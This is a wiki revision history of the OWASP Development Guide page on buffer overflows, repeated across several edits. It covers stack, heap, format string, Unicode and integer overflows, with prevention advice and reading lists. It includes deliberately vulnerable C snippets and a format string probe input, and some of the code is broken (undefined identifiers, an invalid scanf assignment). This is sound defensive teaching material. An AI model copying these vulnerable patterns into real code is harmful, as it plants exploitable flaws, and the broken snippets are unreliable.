http://www.w00w00.org/files/articles/heaptut.txt

* Chris Anley, ''Creating Arbitrary Shellcode In Unicode Expanded Strings''

http://www.ngssoftware.com/papers/unicodebo.pdf

* David Leblanc, ''Integer Handling with the C++ SafeInt Class ''

http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dncode/html/secure01142004.asp

* Aleph One, ''Smashing the Stack for fun and profit''

http://www.phrack.org/phrack/49/P49-14 [[category:FIXME | link not working]]

* Mark Donaldson, ''Inside the buffer Overflow Attack: Mechanism, method, & prevention''

http://rr.sans.org/code/inside_buffer.php [[category:FIXME | link not working]]

* ''NX Bit'', Wikipedia article

http://en.wikipedia.org/wiki/NX_bit

* Horizon'', How to bypass Solaris no execute stack protection

''http://www.secinf.net/unix_security/How_to_bypass_Solaris_nonexecutable_stack_protection_.html

* Alexander Anisimov'', Defeating Microsoft Windows XP SP2 Heap protection and DEP bypass'', Positive Technologies

http://www.maxpatrol.com/defeating-xpsp2-heap-protection.htm [[category:FIXME | link not working]]

* Matt Conover, w00w00 on Heap Overflows, w00w00 Security Team

http://www.w00w00.org/files/articles/heaptut.txt

* Blexim, ''Basic Integer Overflows

''http://www.phrack.org/phrack/60/p60-0x0a.txt [[category:FIXME | link not working]]

* StackShield

http://www.angelfire.com/sk/stackshield/index.html

* StackGuard

http://www.immunix.org[[category:FIXME | link not working]]

* Libsafe

http://www.research.avayalabs.com/project/libsafe [[category:FIXME | link not working]]

 
[[Guide Table of Contents|Development Guide Table of Contents]]
[[Category:OWASP_Guide_Project]]

Buffer Overflows

2009-05-02T11:47:04Z

KirstenS: /* Further reading */

[[Guide Table of Contents|Development Guide Table of Contents]]__TOC__'''

==Objective ==

To ensure that:

* Applications do not expose themselves to faulty components.

* Applications create as few buffer overflows as possible.

* Developers are encouraged to use languages and frameworks that are relatively immune to buffer overflows.

==Platforms Affected ==

Almost every platform, with the following notable exceptions:

* Java/J2EE – as long as native methods or system calls are not invoked.

* .NET – as long as unsafe or unmanaged code is not invoked (such as the use of P/Invoke or COM Interop).

* PHP, Python, Perl – as long as external programs or vulnerable extensions are not used.

==Relevant COBIT Topics ==

DS11.9 – Data processing integrity.

==Description ==

Attackers generally use [[Buffer Overflow|buffer overflows]] to corrupt the execution stack of a web application. By sending carefully crafted input to a web application, an attacker can cause the web application to execute arbitrary code, possibly taking over the machine. Attackers have managed to identify buffer overflows in a staggering array of products and components.

Buffer overflow flaws can be present in both the web server and application server products that serve the static and dynamic portions of a site, or in the web application itself. Buffer overflows found in commonly-used server products are likely to become widely known and can pose a significant risk to users of these products. When web applications use libraries, such as a graphics library to generate images or a communications library to send e-mail, they open themselves to potential buffer overflow attacks. Literature detailing buffer overflow attacks against commonly-used products is readily available, and newly discovered vulnerabilities are reported almost daily.

Buffer overflows can also be found in custom web application code, and may even be more likely, given the lack of scrutiny that web applications typically go through. Buffer overflow attacks against customized web applications can sometimes lead to interesting results. In some cases, we have discovered that sending large inputs can cause the web application or the back-end database to malfunction. It is possible to cause a denial of service attack against the web site, depending on the severity and specific nature of the flaw. Overly large inputs could cause the application to display a detailed error message, potentially leading to a successful attack on the system.

Buffer overflow attacks generally rely upon two techniques (and usually the combination):

* Writing data to particular memory addresses

* Having the operating system mishandle data types

* This means that strongly-typed programming languages (and environments) that disallow direct memory access usually prevent buffer overflows from happening.

{| border=1
|-
! Language/Environment !! Compiled or Interpreted !! Strongly Typed !! Direct Memory Access !! Safe or Unsafe

|-

|| Java, Java Virtual Machine (JVM) || Both || Yes || No || Safe

|-

|| .NET || Both || Yes || No || Safe

|-

|| Perl || Both || Yes || No || Safe

|-

|| Python - interpreted || Intepreted || Yes || No || Safe

|-

|| Ruby || Interpreted || Yes || No || Safe

|-

|| C/C++ || Compiled || No || Yes || Unsafe

|-

|| Assembly || Compiled || No || Yes || Unsafe

|-

|| COBOL || Compiled || Yes || No || Safe

|-

|}
Table 8.1: Language descriptions

==General Prevention Techniques ==

A number of general techniques to prevent buffer overflows include:

* Code auditing (automated or manual)

* Developer training – bounds checking, use of unsafe functions, and group standards

* Non-executable stacks – many operating systems have at least some support for this

* Compiler tools – StackShield, StackGuard, and Libsafe, among others

* Safe functions – use strncat instead of strcat, strncpy instead of strcpy, etc

* Patches – Be sure to keep your web and application servers fully patched, and be aware of bug reports relating to applications upon which your code is dependent.

* Periodically scan your application with one or more of the commonly available scanners that look for buffer overflow flaws in your server products and your custom web applications.

==Stack Overflow ==

Stack overflows are the best understood and the most common form of buffer overflows. The basics of a stack overflow is simple:

* There are two buffers, a source buffer containing arbitrary input (presumably from the attacker), and a destination buffer that is too small for the attack input. The second buffer resides on the stack and somewhat adjacent to the function return address on the stack.

* The faulty code does ''not'' check that the source buffer is too large to fit in the destination buffer. It copies the attack input to the destination buffer, overwriting additional information on the stack (such as the function return address).

* When the function returns, the CPU unwinds the stack frame and pops the (now modified) return address from the stack.

* Control does not return to the function as it should. Instead, arbitrary code (chosen by the attacker when crafting the initial input) is executed.

The following example, written in C, demonstrates a stack overflow exploit.

<pre>
#include <string.h>

void f(char* s) {
char buffer[10];
strcpy(buffer, s);
}

void main(void) {
f("01234567890123456789");
}

[root /tmp]# ./stacktest

Segmentation fault
</pre>

===How to determine if you are vulnerable ===

If your program:

* is written in a language (or depends upon a program that is written in a language) that allows buffer overflows to be created (see Table 8.1) AND

* copies data from one buffer on the stack to another without checking sizes first AND

* does not use techniques such as canary values or non-executable stacks to prevent buffer overflows THEN

it is likely that the application is vulnerable to attack.

===How to protect yourself ===
# Deploy on systems capable of using non-executable stacks, such as:
## AMD and Intel x86-64 chips with associated 64-bit operating systems
## Windows XP SP2 (both 32- and 64-bit)
## Windows 2003 SP1 (both 32- and 64-bit)
## Linux after 2.6.8 on AMD and x86-64 processors in 32- and 64-bit mode
## OpenBSD (w^x on Intel, AMD, SPARC, Alpha and PowerPC)
## Solaris 2.6 and later with the “noexec_user_stack” flag enabled
# Use higher-level programming languages that are strongly typed and that disallow direct memory access.
# Validate input to prevent unexpected data from being processed, such as being too long, of the wrong data type, containing "junk" characters, etc.
# If relying upon operating system functions or utilities written in a vulnerable language, ensure that they:
## use the principle of least privilege
## use compilers that protect against stack and heap overflows
## are current in terms of patches

==Heap Overflow ==

Heap overflows are problematic in that they are not necessarily protected by CPUs capable of using non-executable stacks. A heap is an area of memory allocated by the application at run-time to store data. The following example, written in C, shows a heap overflow exploit.

<pre>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define BSIZE 16
#define OVERSIZE 8 /* overflow buf2 by OVERSIZE bytes */

void main(void) {
u_long b_diff;
char *buf0 = (char*)malloc(BSIZE); // create two buffers
char *buf1 = (char*)malloc(BSIZE);

b_diff = (u_long)buf1 - (u_long)buf0; // difference between locations
printf("Initial values: ");
printf("buf0=%p, buf1=%p, b_diff=0x%x bytes\n", buf0, buf1, b_diff);

memset(buf1, 'A', BUFSIZE-1), buf1[BUFSIZE-1] = '\0';
printf("Before overflow: buf1=%s\n", buf1);

memset(buf0, 'B', (u_int)(diff + OVERSIZE));
printf("After overflow: buf1=%s\n", buf1);
}

[root /tmp]# ./heaptest

Initial values: buf0=0x9322008, buf1=0x9322020, diff=0xff0 bytes
Before overflow: buf1=AAAAAAAAAAAAAAA
After overflow: buf1=BBBBBBBBAAAAAAA
</pre>

The simple program above shows two buffers being allocated on the heap, with the first buffer being overflowed to overwrite the contents of the second buffer.

===How to determine if you are vulnerable ===

If your program:

* is written in a language (or depends upon a program that is written in a language) that allows buffer overflows to be created (see Table 8.1) AND

* copies data from one buffer on the stack to another without checking sizes first AND

* does not use techniques such as canary values to prevent buffer overflows THEN

it is likely that the application is vulnerable to attack.

===How to protect yourself ===

# Use higher-level programming languages that are strongly typed and that disallow direct memory access.
# Validate input to prevent unexpected data from being processed, such as being too long, of the wrong data type, containing "junk" characters, etc.
# If relying upon operating system functions or utilities written in a vulnerable language, ensure that they:
## use the principle of least privilege
## use compilers that protect against stack and heap overflows
## are current in terms of patches

==Format String ==

Format string buffer overflows (usually called "format string vulnerabilities") are highly specialized buffer overflows that can have the same effects as other buffer overflow attacks. Basically, format string vulnerabilities take advantage of the mixture of data and control information in certain functions, such as C/C++'s printf. The easiest way to understand this class of vulnerability is with an example:

<pre>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

void main(void) {
char str[100] = scanf("%s");
printf("%s", str);
}
</pre>

This simple program takes input from the user and displays it back on the screen. The string <code>%s</code> means that the other parameter, str, should be displayed as a string. This example is ''not'' vulnerable to a format string attack, but if one changes the last line, it becomes exploitable:

printf(str);

To see how, consider the user entering the special input:

''%08x.%08x.%08x.%08x.%08x''

By constructing input as such, the program can be exploited to print the first five entries from the stack.

===How to determine if you are vulnerable ===

If your program:

* uses functions such as printf, snprintf directly, or indirectly through system services (such as syslog) or other AND

* the use of such functions allows input from the user to contain control information interpreted by the function itself

it is highly likely that the application is vulnerable to attack.

===How to protect yourself ===

# Use higher-level programming languages that are strongly typed and that disallow direct memory access.
# Validate input to prevent unexpected data from being processed, such as being too long, of the wrong data type, containing "junk" characters, etc. Specifically check for control information (meta-characters like '%')
# Avoid the use of functions like printf that allow user input to contain control information
# If relying upon operating system functions or utilities written in a vulnerable language, ensure that they:
## use the principle of least privilege
## use compilers that protect against stack and heap overflows
## are current in terms of patches

==Unicode Overflow ==

Unicode exploits are a bit more difficult to do than typical buffer overflows as demonstrated in Anley’s 2002 paper, but it is wrong to assume that by using Unicode, you are protected against buffer overflows. Examples of Unicode overflows include Code Red, a devastating Trojan with an estimated economic cost in the billions of dollars.

===How to determine if you are vulnerable ===

If your program:

* is written in a language (or depends upon a program that is written in a language) that allows buffer overflows to be created (see Table 8.1) AND

* takes Unicode input from a user AND

* fails to sanitize the input AND

* does not use techniques such as canary values to prevent buffer overflows THEN

it is highly likely that the application is vulnerable to attack.

===How to protect yourself ===

# Deploy on systems capable of using non-executable stacks, such as:
## AMD and Intel x86-64 chips with associated 64-bit operating systems
## Windows XP SP2 (both 32- and 64-bit)
## Windows 2003 SP1 (both 32- and 64-bit)
## Linux after 2.6.8 on AMD and x86-64 processors in 32- and 64-bit mode
## OpenBSD (w^x on Intel, AMD, SPARC, Alpha and PowerPC)
## Solaris 2.6 and later with the “noexec_user_stack” flag enabled
# Use higher-level programming languages that are strongly typed and that disallow direct memory access.
# Validate input to prevent unexpected data from being processed, such as being too long, of the wrong data type, containing "junk" characters, etc.
# If relying upon operating system functions or utilities written in a vulnerable language, ensure that they:
## use the principle of least privilege
## use compilers that protect against stack and heap overflows
## are current in terms of patches

==Integer Overflow ==

When an application takes two numbers of fixed word size and perform an operation with them, the result may not fit within the same word size. For example, if the two 8-bit numbers 192 and 208 are added together and stored into another 8-bit byte, the result will not fit into an 8-bit result:

'' 1100 0000''

'' + 1101 0000''

'' = 0001 1001 0000''

Although such an operation will usually cause some type of exception, your application must be coded to check for such an exception and take proper action. Otherwise, your application would report that 192 + 208 equals 144.

The following code demonstrates a buffer overflow, and was adapted from [http://www.phrack.org/phrack/60/p60-0x0a.txt Blexim's Phrack article]: [[Category:FIXME|broken link]]

<pre>
#include <stdio.h>
#include <string.h>

void main(int argc, char *argv[]) {
int i = atoi(argv[1]); // input from user
unsigned short s = i; // truncate to a short
char buf[50]; // large buffer

if (s > 10) { // check we're not greater than 10
return;
}

memcpy(buf, argv[2], i); // copy i bytes to the buffer
buf[i] = '\0'; // add a null byte to the buffer
printf("%s\n", buf); // output the buffer contents

return;
}

[root /tmp]# ./inttest 65580 foobar
Segmentation fault
</pre>

The above code is exploitable because the validation does not occur on the input value (65580), but rather the value after it has been converted to an unsigned short (45).

Integer overflows can be a problem in any language and can be exploited when integers are used in array indices and implicit short math operations.

===How to determine if you are vulnerable ===

* Examine use of signed integers, bytes, and shorts.

* Are there cases where these values are used as array indices after performing an arithmetic operation (+, -, *, /, or % (modulo))?

* How would your program react to a negative or zero value for integer values, particular during array lookups?

===How to protect yourself ===

* If using .NET, use David LeBlanc’s SafeInt class or a similar construct. Otherwise, use a "BigInteger" or "BigDecimal" implementation in cases where it would be hard to validate input yourself.

* If your compiler supports the option, change the default for integers to be unsigned unless otherwise explicitly stated. Use unsigned integers whenever you don't need negative values.

* Use range checking if your language or framework supports it, or be sure to implement range checking yourself after all arithmetic operations.

* Be sure to check for exceptions if your language supports it.

==Further reading ==

* Team Teso, ''Exploiting Format String Vulnerabilities''

http://www.cs.ucsb.edu/~jzhou/security/formats-teso.html [[category:FIXME | link not working]]

* Newsham, Tim, ''Format String Attacks

''http://www.lava.net/~newsham/format-string-attacks.pdf [[category:FIXME | link not working]]

* w00 w00 and Matt Conover, ''Preliminary Heap Overflow Tutorial''

http://www.w00w00.org/files/articles/heaptut.txt

* Chris Anley, ''Creating Arbitrary Shellcode In Unicode Expanded Strings''

http://www.ngssoftware.com/papers/unicodebo.pdf

* David Leblanc, ''Integer Handling with the C++ SafeInt Class ''

http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dncode/html/secure01142004.asp

* Aleph One, ''Smashing the Stack for fun and profit''

http://www.phrack.org/phrack/49/P49-14 [[category:FIXME | link not working]]

* Mark Donaldson, ''Inside the buffer Overflow Attack: Mechanism, method, & prevention''

http://rr.sans.org/code/inside_buffer.php [[category:FIXME | link not working]]

* ''NX Bit'', Wikipedia article

http://en.wikipedia.org/wiki/NX_bit

* Horizon'', How to bypass Solaris no execute stack protection

''http://www.secinf.net/unix_security/How_to_bypass_Solaris_nonexecutable_stack_protection_.html

* Alexander Anisimov'', Defeating Microsoft Windows XP SP2 Heap protection and DEP bypass'', Positive Technologies

http://www.maxpatrol.com/defeating-xpsp2-heap-protection.htm [[category:FIXME | link not working]]

* Matt Conover, w00w00 on Heap Overflows, w00w00 Security Team

http://www.w00w00.org/files/articles/heaptut.txt

* Blexim, ''Basic Integer Overflows

''http://www.phrack.org/phrack/60/p60-0x0a.txt [[category:FIXME | link not working]]

* StackShield

http://www.angelfire.com/sk/stackshield/index.html

* StackGuard

http://www.immunix.org[[category:FIXME | link not working]]

* Libsafe

http://www.research.avayalabs.com/project/libsafe [[category:FIXME | link not working]]

[[Guide Table of Contents|Development Guide Table of Contents]]
[[Category:OWASP_Guide_Project]]

Buffer Overflows

2009-05-02T11:44:21Z

KirstenS: /* Integer Overflow */

[[Guide Table of Contents|Development Guide Table of Contents]]__TOC__'''

==Objective ==

To ensure that:

* Applications do not expose themselves to faulty components.

* Applications create as few buffer overflows as possible.

* Developers are encouraged to use languages and frameworks that are relatively immune to buffer overflows.

==Platforms Affected ==

Almost every platform, with the following notable exceptions:

* Java/J2EE – as long as native methods or system calls are not invoked.

* .NET – as long as unsafe or unmanaged code is not invoked (such as the use of P/Invoke or COM Interop).

* PHP, Python, Perl – as long as external programs or vulnerable extensions are not used.

==Relevant COBIT Topics ==

DS11.9 – Data processing integrity.

==Description ==

Attackers generally use [[Buffer Overflow|buffer overflows]] to corrupt the execution stack of a web application. By sending carefully crafted input to a web application, an attacker can cause the web application to execute arbitrary code, possibly taking over the machine. Attackers have managed to identify buffer overflows in a staggering array of products and components.

Buffer overflow flaws can be present in both the web server and application server products that serve the static and dynamic portions of a site, or in the web application itself. Buffer overflows found in commonly-used server products are likely to become widely known and can pose a significant risk to users of these products. When web applications use libraries, such as a graphics library to generate images or a communications library to send e-mail, they open themselves to potential buffer overflow attacks. Literature detailing buffer overflow attacks against commonly-used products is readily available, and newly discovered vulnerabilities are reported almost daily.

Buffer overflows can also be found in custom web application code, and may even be more likely, given the lack of scrutiny that web applications typically go through. Buffer overflow attacks against customized web applications can sometimes lead to interesting results. In some cases, we have discovered that sending large inputs can cause the web application or the back-end database to malfunction. It is possible to cause a denial of service attack against the web site, depending on the severity and specific nature of the flaw. Overly large inputs could cause the application to display a detailed error message, potentially leading to a successful attack on the system.

Buffer overflow attacks generally rely upon two techniques (and usually the combination):

* Writing data to particular memory addresses

* Having the operating system mishandle data types

* This means that strongly-typed programming languages (and environments) that disallow direct memory access usually prevent buffer overflows from happening.

{| border=1
|-
! Language/Environment !! Compiled or Interpreted !! Strongly Typed !! Direct Memory Access !! Safe or Unsafe

|-

|| Java, Java Virtual Machine (JVM) || Both || Yes || No || Safe

|-

|| .NET || Both || Yes || No || Safe

|-

|| Perl || Both || Yes || No || Safe

|-

|| Python - interpreted || Intepreted || Yes || No || Safe

|-

|| Ruby || Interpreted || Yes || No || Safe

|-

|| C/C++ || Compiled || No || Yes || Unsafe

|-

|| Assembly || Compiled || No || Yes || Unsafe

|-

|| COBOL || Compiled || Yes || No || Safe

|-

|}
Table 8.1: Language descriptions

==General Prevention Techniques ==

A number of general techniques to prevent buffer overflows include:

* Code auditing (automated or manual)

* Developer training – bounds checking, use of unsafe functions, and group standards

* Non-executable stacks – many operating systems have at least some support for this

* Compiler tools – StackShield, StackGuard, and Libsafe, among others

* Safe functions – use strncat instead of strcat, strncpy instead of strcpy, etc

* Patches – Be sure to keep your web and application servers fully patched, and be aware of bug reports relating to applications upon which your code is dependent.

* Periodically scan your application with one or more of the commonly available scanners that look for buffer overflow flaws in your server products and your custom web applications.

==Stack Overflow ==

Stack overflows are the best understood and the most common form of buffer overflows. The basics of a stack overflow is simple:

* There are two buffers, a source buffer containing arbitrary input (presumably from the attacker), and a destination buffer that is too small for the attack input. The second buffer resides on the stack and somewhat adjacent to the function return address on the stack.

* The faulty code does ''not'' check that the source buffer is too large to fit in the destination buffer. It copies the attack input to the destination buffer, overwriting additional information on the stack (such as the function return address).

* When the function returns, the CPU unwinds the stack frame and pops the (now modified) return address from the stack.

* Control does not return to the function as it should. Instead, arbitrary code (chosen by the attacker when crafting the initial input) is executed.

The following example, written in C, demonstrates a stack overflow exploit.

<pre>
#include <string.h>

void f(char* s) {
char buffer[10];
strcpy(buffer, s);
}

void main(void) {
f("01234567890123456789");
}

[root /tmp]# ./stacktest

Segmentation fault
</pre>

===How to determine if you are vulnerable ===

If your program:

* is written in a language (or depends upon a program that is written in a language) that allows buffer overflows to be created (see Table 8.1) AND

* copies data from one buffer on the stack to another without checking sizes first AND

* does not use techniques such as canary values or non-executable stacks to prevent buffer overflows THEN

it is likely that the application is vulnerable to attack.

===How to protect yourself ===
# Deploy on systems capable of using non-executable stacks, such as:
## AMD and Intel x86-64 chips with associated 64-bit operating systems
## Windows XP SP2 (both 32- and 64-bit)
## Windows 2003 SP1 (both 32- and 64-bit)
## Linux after 2.6.8 on AMD and x86-64 processors in 32- and 64-bit mode
## OpenBSD (w^x on Intel, AMD, SPARC, Alpha and PowerPC)
## Solaris 2.6 and later with the “noexec_user_stack” flag enabled
# Use higher-level programming languages that are strongly typed and that disallow direct memory access.
# Validate input to prevent unexpected data from being processed, such as being too long, of the wrong data type, containing "junk" characters, etc.
# If relying upon operating system functions or utilities written in a vulnerable language, ensure that they:
## use the principle of least privilege
## use compilers that protect against stack and heap overflows
## are current in terms of patches

==Heap Overflow ==

Heap overflows are problematic in that they are not necessarily protected by CPUs capable of using non-executable stacks. A heap is an area of memory allocated by the application at run-time to store data. The following example, written in C, shows a heap overflow exploit.

<pre>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define BSIZE 16
#define OVERSIZE 8 /* overflow buf2 by OVERSIZE bytes */

void main(void) {
u_long b_diff;
char *buf0 = (char*)malloc(BSIZE); // create two buffers
char *buf1 = (char*)malloc(BSIZE);

b_diff = (u_long)buf1 - (u_long)buf0; // difference between locations
printf("Initial values: ");
printf("buf0=%p, buf1=%p, b_diff=0x%x bytes\n", buf0, buf1, b_diff);

memset(buf1, 'A', BUFSIZE-1), buf1[BUFSIZE-1] = '\0';
printf("Before overflow: buf1=%s\n", buf1);

memset(buf0, 'B', (u_int)(diff + OVERSIZE));
printf("After overflow: buf1=%s\n", buf1);
}

[root /tmp]# ./heaptest

Initial values: buf0=0x9322008, buf1=0x9322020, diff=0xff0 bytes
Before overflow: buf1=AAAAAAAAAAAAAAA
After overflow: buf1=BBBBBBBBAAAAAAA
</pre>

The simple program above shows two buffers being allocated on the heap, with the first buffer being overflowed to overwrite the contents of the second buffer.

===How to determine if you are vulnerable ===

If your program:

* is written in a language (or depends upon a program that is written in a language) that allows buffer overflows to be created (see Table 8.1) AND

* copies data from one buffer on the stack to another without checking sizes first AND

* does not use techniques such as canary values to prevent buffer overflows THEN

it is likely that the application is vulnerable to attack.

===How to protect yourself ===

# Use higher-level programming languages that are strongly typed and that disallow direct memory access.
# Validate input to prevent unexpected data from being processed, such as being too long, of the wrong data type, containing "junk" characters, etc.
# If relying upon operating system functions or utilities written in a vulnerable language, ensure that they:
## use the principle of least privilege
## use compilers that protect against stack and heap overflows
## are current in terms of patches

==Format String ==

Format string buffer overflows (usually called "format string vulnerabilities") are highly specialized buffer overflows that can have the same effects as other buffer overflow attacks. Basically, format string vulnerabilities take advantage of the mixture of data and control information in certain functions, such as C/C++'s printf. The easiest way to understand this class of vulnerability is with an example:

<pre>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

void main(void) {
char str[100] = scanf("%s");
printf("%s", str);
}
</pre>

This simple program takes input from the user and displays it back on the screen. The string <code>%s</code> means that the other parameter, str, should be displayed as a string. This example is ''not'' vulnerable to a format string attack, but if one changes the last line, it becomes exploitable:

printf(str);

To see how, consider the user entering the special input:

''%08x.%08x.%08x.%08x.%08x''

By constructing input as such, the program can be exploited to print the first five entries from the stack.

===How to determine if you are vulnerable ===

If your program:

* uses functions such as printf, snprintf directly, or indirectly through system services (such as syslog) or other AND

* the use of such functions allows input from the user to contain control information interpreted by the function itself

it is highly likely that the application is vulnerable to attack.

===How to protect yourself ===

# Use higher-level programming languages that are strongly typed and that disallow direct memory access.
# Validate input to prevent unexpected data from being processed, such as being too long, of the wrong data type, containing "junk" characters, etc. Specifically check for control information (meta-characters like '%')
# Avoid the use of functions like printf that allow user input to contain control information
# If relying upon operating system functions or utilities written in a vulnerable language, ensure that they:
## use the principle of least privilege
## use compilers that protect against stack and heap overflows
## are current in terms of patches

==Unicode Overflow ==

Unicode exploits are a bit more difficult to do than typical buffer overflows as demonstrated in Anley’s 2002 paper, but it is wrong to assume that by using Unicode, you are protected against buffer overflows. Examples of Unicode overflows include Code Red, a devastating Trojan with an estimated economic cost in the billions of dollars.

===How to determine if you are vulnerable ===

If your program:

* is written in a language (or depends upon a program that is written in a language) that allows buffer overflows to be created (see Table 8.1) AND

* takes Unicode input from a user AND

* fails to sanitize the input AND

* does not use techniques such as canary values to prevent buffer overflows THEN

it is highly likely that the application is vulnerable to attack.

===How to protect yourself ===

# Deploy on systems capable of using non-executable stacks, such as:
## AMD and Intel x86-64 chips with associated 64-bit operating systems
## Windows XP SP2 (both 32- and 64-bit)
## Windows 2003 SP1 (both 32- and 64-bit)
## Linux after 2.6.8 on AMD and x86-64 processors in 32- and 64-bit mode
## OpenBSD (w^x on Intel, AMD, SPARC, Alpha and PowerPC)
## Solaris 2.6 and later with the “noexec_user_stack” flag enabled
# Use higher-level programming languages that are strongly typed and that disallow direct memory access.
# Validate input to prevent unexpected data from being processed, such as being too long, of the wrong data type, containing "junk" characters, etc.
# If relying upon operating system functions or utilities written in a vulnerable language, ensure that they:
## use the principle of least privilege
## use compilers that protect against stack and heap overflows
## are current in terms of patches

==Integer Overflow ==

When an application takes two numbers of fixed word size and perform an operation with them, the result may not fit within the same word size. For example, if the two 8-bit numbers 192 and 208 are added together and stored into another 8-bit byte, the result will not fit into an 8-bit result:

'' 1100 0000''

'' + 1101 0000''

'' = 0001 1001 0000''

Although such an operation will usually cause some type of exception, your application must be coded to check for such an exception and take proper action. Otherwise, your application would report that 192 + 208 equals 144.

The following code demonstrates a buffer overflow, and was adapted from [http://www.phrack.org/phrack/60/p60-0x0a.txt Blexim's Phrack article]: [[Category:FIXME|broken link]]

<pre>
#include <stdio.h>
#include <string.h>

void main(int argc, char *argv[]) {
int i = atoi(argv[1]); // input from user
unsigned short s = i; // truncate to a short
char buf[50]; // large buffer

if (s > 10) { // check we're not greater than 10
return;
}

memcpy(buf, argv[2], i); // copy i bytes to the buffer
buf[i] = '\0'; // add a null byte to the buffer
printf("%s\n", buf); // output the buffer contents

return;
}

[root /tmp]# ./inttest 65580 foobar
Segmentation fault
</pre>

The above code is exploitable because the validation does not occur on the input value (65580), but rather the value after it has been converted to an unsigned short (45).

Integer overflows can be a problem in any language and can be exploited when integers are used in array indices and implicit short math operations.

===How to determine if you are vulnerable ===

* Examine use of signed integers, bytes, and shorts.

* Are there cases where these values are used as array indices after performing an arithmetic operation (+, -, *, /, or % (modulo))?

* How would your program react to a negative or zero value for integer values, particular during array lookups?

===How to protect yourself ===

* If using .NET, use David LeBlanc’s SafeInt class or a similar construct. Otherwise, use a "BigInteger" or "BigDecimal" implementation in cases where it would be hard to validate input yourself.

* If your compiler supports the option, change the default for integers to be unsigned unless otherwise explicitly stated. Use unsigned integers whenever you don't need negative values.

* Use range checking if your language or framework supports it, or be sure to implement range checking yourself after all arithmetic operations.

* Be sure to check for exceptions if your language supports it.

==Further reading ==

* Team Teso, ''Exploiting Format String Vulnerabilities''

http://www.cs.ucsb.edu/~jzhou/security/formats-teso.html [[category:FIXME | link not working]]

* Newsham, Tim, ''Format String Attacks

''http://www.lava.net/~newsham/format-string-attacks.pdf [[category:FIXME | link not working]]

* w00 w00 and Matt Conover, ''Preliminary Heap Overflow Tutorial''

http://www.w00w00.org/files/articles/heaptut.txt

* Chris Anley, ''Creating Arbitrary Shellcode In Unicode Expanded Strings''

http://www.ngssoftware.com/papers/unicodebo.pdf

* David Leblanc, ''Integer Handling with the C++ SafeInt Class ''

http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dncode/html/secure01142004.asp

* Aleph One, ''Smashing the Stack for fun and profit''

http://www.phrack.org/phrack/49/P49-14 [[category:FIXME | link not working]]

* Mark Donaldson, ''Inside the buffer Overflow Attack: Mechanism, method, & prevention''

http://rr.sans.org/code/inside_buffer.php [[category:FIXME | link not working]]

* ''NX Bit'', Wikipedia article

http://en.wikipedia.org/wiki/NX_bit

* Horizon'', How to bypass Solaris no execute stack protection

''http://www.secinf.net/unix_security/How_to_bypass_Solaris_nonexecutable_stack_protection_.html

* Alexander Anisimov'', Defeating Microsoft Windows XP SP2 Heap protection and DEP bypass'', Positive Technologies

http://www.maxpatrol.com/defeating-xpsp2-heap-protection.htm

* Matt Conover, w00w00 on Heap Overflows, w00w00 Security Team

http://www.w00w00.org/files/articles/heaptut.txt

* Blexim, ''Basic Integer Overflows

''http://www.phrack.org/phrack/60/p60-0x0a.txt [[category:FIXME | link not working]]

* StackShield

http://www.angelfire.com/sk/stackshield/index.html

* StackGuard

http://www.immunix.org[[category:FIXME | link not working]]

* Libsafe

http://www.research.avayalabs.com/project/libsafe [[category:FIXME | link not working]]

[[Guide Table of Contents|Development Guide Table of Contents]]
[[Category:OWASP_Guide_Project]]

Buffer Overflows

2009-05-02T11:39:06Z

KirstenS: /* Description */

[[Guide Table of Contents|Development Guide Table of Contents]]__TOC__'''

==Objective ==

To ensure that:

* Applications do not expose themselves to faulty components.

* Applications create as few buffer overflows as possible.

* Developers are encouraged to use languages and frameworks that are relatively immune to buffer overflows.

==Platforms Affected ==

Almost every platform, with the following notable exceptions:

* Java/J2EE – as long as native methods or system calls are not invoked.

* .NET – as long as unsafe or unmanaged code is not invoked (such as the use of P/Invoke or COM Interop).

* PHP, Python, Perl – as long as external programs or vulnerable extensions are not used.

==Relevant COBIT Topics ==

DS11.9 – Data processing integrity.

==Description ==

Attackers generally use [[Buffer Overflow|buffer overflows]] to corrupt the execution stack of a web application. By sending carefully crafted input to a web application, an attacker can cause the web application to execute arbitrary code, possibly taking over the machine. Attackers have managed to identify buffer overflows in a staggering array of products and components.

Buffer overflow flaws can be present in both the web server and application server products that serve the static and dynamic portions of a site, or in the web application itself. Buffer overflows found in commonly-used server products are likely to become widely known and can pose a significant risk to users of these products. When web applications use libraries, such as a graphics library to generate images or a communications library to send e-mail, they open themselves to potential buffer overflow attacks. Literature detailing buffer overflow attacks against commonly-used products is readily available, and newly discovered vulnerabilities are reported almost daily.

Buffer overflows can also be found in custom web application code, and may even be more likely, given the lack of scrutiny that web applications typically go through. Buffer overflow attacks against customized web applications can sometimes lead to interesting results. In some cases, we have discovered that sending large inputs can cause the web application or the back-end database to malfunction. It is possible to cause a denial of service attack against the web site, depending on the severity and specific nature of the flaw. Overly large inputs could cause the application to display a detailed error message, potentially leading to a successful attack on the system.

Buffer overflow attacks generally rely upon two techniques (and usually the combination):

* Writing data to particular memory addresses

* Having the operating system mishandle data types

* This means that strongly-typed programming languages (and environments) that disallow direct memory access usually prevent buffer overflows from happening.

{| border=1
|-
! Language/Environment !! Compiled or Interpreted !! Strongly Typed !! Direct Memory Access !! Safe or Unsafe

|-

|| Java, Java Virtual Machine (JVM) || Both || Yes || No || Safe

|-

|| .NET || Both || Yes || No || Safe

|-

|| Perl || Both || Yes || No || Safe

|-

|| Python - interpreted || Intepreted || Yes || No || Safe

|-

|| Ruby || Interpreted || Yes || No || Safe

|-

|| C/C++ || Compiled || No || Yes || Unsafe

|-

|| Assembly || Compiled || No || Yes || Unsafe

|-

|| COBOL || Compiled || Yes || No || Safe

|-

|}
Table 8.1: Language descriptions

==General Prevention Techniques ==

A number of general techniques to prevent buffer overflows include:

* Code auditing (automated or manual)

* Developer training – bounds checking, use of unsafe functions, and group standards

* Non-executable stacks – many operating systems have at least some support for this

* Compiler tools – StackShield, StackGuard, and Libsafe, among others

* Safe functions – use strncat instead of strcat, strncpy instead of strcpy, etc

* Patches – Be sure to keep your web and application servers fully patched, and be aware of bug reports relating to applications upon which your code is dependent.

* Periodically scan your application with one or more of the commonly available scanners that look for buffer overflow flaws in your server products and your custom web applications.

